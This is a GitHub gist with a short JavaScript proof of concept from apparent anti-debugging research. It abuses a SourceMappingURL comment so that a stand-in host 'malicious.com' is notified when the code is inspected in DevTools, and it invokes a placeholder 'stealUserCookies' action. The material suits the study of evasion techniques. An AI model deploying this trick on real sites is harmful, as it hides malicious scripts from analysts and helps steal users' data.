-
-
Save weizman/57f85b21414db78ac9905ea4205a118c to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function smap(url, data) { | |
const script = document.createElement('script'); | |
script.textContent = `//# SourceMappingURL=${url}?data=${JSON.stringify(data)}`; | |
document.head.appendChild(script); | |
script.remove(); | |
} | |
function malicious() { | |
const detect = (function(){ | |
const dummy = function(){}; | |
dummy.toString = () => { | |
smap('https://malicious.com/reportFunctionIsDebugged', {name: 'malicious'}); | |
}; | |
return dummy; | |
}()); | |
// do a malicious action | |
if (window.stealUserCookies) window.stealUserCookies(); | |
} | |
// if this '//# SourceMappingURL=' trick doesn't make sense to you, you MUST read part 1 of my anti debugging techniques research! | |
// check out https://weizman.github.io/?javascript-anti-debugging-some-next-level-shit-part-1 |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment